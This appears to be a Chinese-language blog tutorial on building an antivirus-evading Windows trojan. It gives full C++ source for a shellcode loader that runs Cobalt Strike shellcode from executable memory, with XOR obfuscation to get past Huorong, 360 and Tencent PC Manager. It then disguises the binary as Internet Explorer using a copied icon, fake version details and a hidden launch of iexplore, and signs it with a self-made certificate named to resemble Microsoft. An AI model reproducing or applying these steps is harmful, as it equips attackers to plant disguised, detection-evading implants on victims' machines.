这篇文章上次修改于 467 天前,可能其部分内容已经发生变化,如有疑问可询问作者。
0x01 简介
shellcode 不做免杀咋用嘛
0x02 实验环境
- Windows x64
0x03 利用方法
3.1 shellcode 免杀处理
这里用 cs 来生成 shellcode
选择 C,根据实际情况来选择位数,生成的 buf 中的16进制字符便是 shellcode
这是一个最简单的 shellcode 加载器,先申请内存,然后将 shellcode 放入内存,然后再执行
#include <iostream>
#include "stdio.h"
#include "Windows.h"
using namespace std;
//去除窗口
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
// shellcode.c 的内容;
unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8";
int main()
{
// 申请内存
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 将 shellcode 放入内存
memcpy(Memory, shellcode, sizeof(shellcode));
// 强转后数据地址变成函数指针,相当于数据变成了可执行的指令,执行 shellcode
((void(*)())Memory)();
}
经过测试,居然直接就能过360和管家,但是被火绒给查杀了
当我将 shellcode 去掉以后,程序就没问题,只保留 shellcode,把加载内存去掉,也会被杀,这就肯定是 shellcode 的问题了,那么就需要对 shellcode 进行混淆处理,这里我用最简单的异或
#include <iostream>
#include<fstream>
#include "stdio.h"
#include "Windows.h"
#include <cstring>
using namespace std;
// shellcode.c 的内容
unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8";
unsigned char encode[] = "";
// 异或对象
char key = 0x66;
int main()
{
// 异或混淆
for (int i = 0; i < sizeof(shellcode); i++) {
encode[i] = shellcode[i] ^ key;
}
// 输出混淆后的 shellcode
for (int i = 0; i < sizeof(shellcode); i++) {
printf("\\x%0.2x", encode[i]);
}
printf("\n");
system("pause");
}
将混淆的 shellcode 存着
接下来就是解密了,解密与加密的操作是一样的
#include <iostream>
#include "stdio.h"
#include "Windows.h"
using namespace std;
// 去除窗口
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
// 混淆的 shellcode
unsigned char thecode[] = "\x9a\x2e\xe5\x82\x96\x8e\xae";
unsigned char decode[] = "";
char key = 0x66;
int main()
{
// 解密
for (int i = 0; i < sizeof(thecode); i++) {
decode[i] = thecode[i] ^ key;
}
// 加载
LPVOID Memory = VirtualAlloc(NULL, sizeof(thecode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, decode, sizeof(thecode));
((void(*)())Memory)();
}
这时候就能够过火绒了,其他两个更是一点问题都没有
运行以后成功上线
3.2 伪装
目前我们的马是这样的,很难不让人怀疑,这就需要从外观来改造改造
这里我就模仿每台 windows 都有的 ie 浏览器
ico 图标我用 IconLover 工具来提取,打开 ie 浏览器所在的目录,然后保存图标
在 vs 中从资源文件 ——> 添加 ——> 资源 ——> Icon ——> 导入
除了图标,还有详细信息,在 vs 中从资源文件 ——> 添加 ——> 资源 ——> Version ——> 新建,照着填就行了,不过,© 这个符号在 vs 导出后会变成 ?,所以这里只能用 (c) 来将就了
接下来就是实现打开 ie 浏览器的操作了,在尝试了多个函数后我选择了 WinExec 函数
WinExec("C:\\Program Files\\Internet Explorer\\iexplore.exe", SW_HIDE);
其他一些函数比如 system 函数,路径是不能带空格的,不然它会把 Program 识别成命令,这里需要换种写法,像这样
WinExec("C:\\Progra~1\\Intern~1\\iexplore.exe", SW_HIDE);
将存在空格的名称用前6个字母表示,后面的用 ~1 代替,如:
Local Settings —— LocalS~1
Program Files —— Progra~1
那么,如果多个文件前6个字母相同的怎么办呢
Program Files
Progra Pics
Progra Videos
这三个依次排序 Progra~1 Progra~2 Progra~3
使用 ShellExecute 函数打开 ie 浏览器的时候,我的流量就被火绒拦截了,不清楚是为什么
好了,附上最终的代码
#include <iostream>
#include "stdio.h"
#include "Windows.h"
using namespace std;
// 去除窗口
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
// 混淆后的 shellcode
unsigned char thecode[] = "\x9a\x2e\xe5\x82\x96\x8e\xae";
unsigned char decode[] = "";
char key = 0x66;
int main()
{
// 打开 ie 浏览器
WinExec("C:\\Progra~1\\Intern~1\\iexplore.exe", SW_HIDE);
// 解密
for (int i = 0; i < sizeof(thecode); i++) {
decode[i] = thecode[i] ^ key;
}
// 加载
LPVOID Memory = VirtualAlloc(NULL, sizeof(thecode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, decode, sizeof(thecode));
((void(*)())Memory)();
}
这样看起来就好多了
与原程序对比
后台进程
再有闲心的也可以加个数字签名
# 创建证书,创建的时候要输入一个密码下面的 passwd 即密码
Makecert -sv shell.pvk -r -n “CN=Microsoft Corporatio” shell.cer
# 创建发行者证书,如果提示'Cert2spc' 不是内部或外部命令,也不是可运行的程序或批处理文件。需要到 Cert2spc 程序的目录去执行命令,下面同理
Cert2spc shell.cer shell.spc
# 从 pvk 文件中导出 pfx 文件
pvk2pfx -pvk shell.pvk -pi passwd -spc shell.spc -pfx shell.pfx -f
# 签名、打时间戳
signtool sign /f shell.pfx /p passwd /t http://timestamp.digicert.com /fd SHA256 iexploreshell.exe
查看效果
没有评论